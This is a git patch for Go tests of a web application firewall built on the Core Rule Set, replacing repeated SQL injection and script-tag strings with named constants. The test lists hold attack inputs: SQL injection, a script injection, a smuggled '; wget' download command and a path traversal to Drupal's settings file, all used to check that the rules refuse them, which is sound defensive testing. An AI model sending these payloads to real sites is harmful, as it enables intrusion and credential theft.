From 65d29acc599239fea40a58135ad54c01f760a171 Mon Sep 17 00:00:00 2001
From: sneak <sneak@sneak.berlin>
Date: Tue, 10 Nov 2026 00:04:34 +0000
Subject: [PATCH] Core Rule Set tests: name repeated attack strings (closes
 #263)

The Drupal and MediaWiki tests repeated the SQL and script attack strings,
which goconst reports. They now use the existing constant injection and a
new constant scriptTag.

Model: opus-5-5
---
 internal/coreruleset/coreruleset_test.go | 3 +++
 internal/coreruleset/drupal_test.go      | 8 ++++----
 internal/coreruleset/mediawiki_test.go   | 4 ++--
 3 files changed, 9 insertions(+), 6 deletions(-)

diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go
index 58f7e45..aa53b67 100644
--- a/internal/coreruleset/coreruleset_test.go
+++ b/internal/coreruleset/coreruleset_test.go
@@ -1357,6 +1357,9 @@ const (
 // injection is an SQL injection, which rule 942100 matches.
 const injection = "1' OR '1'='1"
 
+// scriptTag is a script injection, not escaped.
+const scriptTag = "<script>alert(1)</script>"
+
 // readingBodies returns the Core Rule Set as sww runs it by
 // default, but reading bodies up to bodyLimit.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go
index 4629f0b..2bf644e 100644
--- a/internal/coreruleset/drupal_test.go
+++ b/internal/coreruleset/drupal_test.go
@@ -131,8 +131,8 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 
 	for _, attack := range []string{
-		`1' OR '1'='1`,
-		`<script>alert(1)</script>`,
+		injection,
+		scriptTag,
 	} {
 		for _, field := range []string{
 			`"title":"` + attack + `"`,
@@ -178,8 +178,8 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 	crs := readingBodies(t)
 
 	for _, attack := range []string{
-		`1' OR '1'='1`,
-		`<script>alert(1)</script>`,
+		injection,
+		scriptTag,
 		`; wget http://example.com/x.sh`,
 		`../../sites/default/settings.php`,
 	} {
diff --git a/internal/coreruleset/mediawiki_test.go b/internal/coreruleset/mediawiki_test.go
index a8d8264..b8cfd1b 100644
--- a/internal/coreruleset/mediawiki_test.go
+++ b/internal/coreruleset/mediawiki_test.go
@@ -204,8 +204,8 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 
 	for _, attack := range []string{
-		`1' OR '1'='1`,
-		`<script>alert(1)</script>`,
+		injection,
+		scriptTag,
 	} {
 		for _, field := range []string{"source", "comment"} {
 			r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
-- 
2.54.0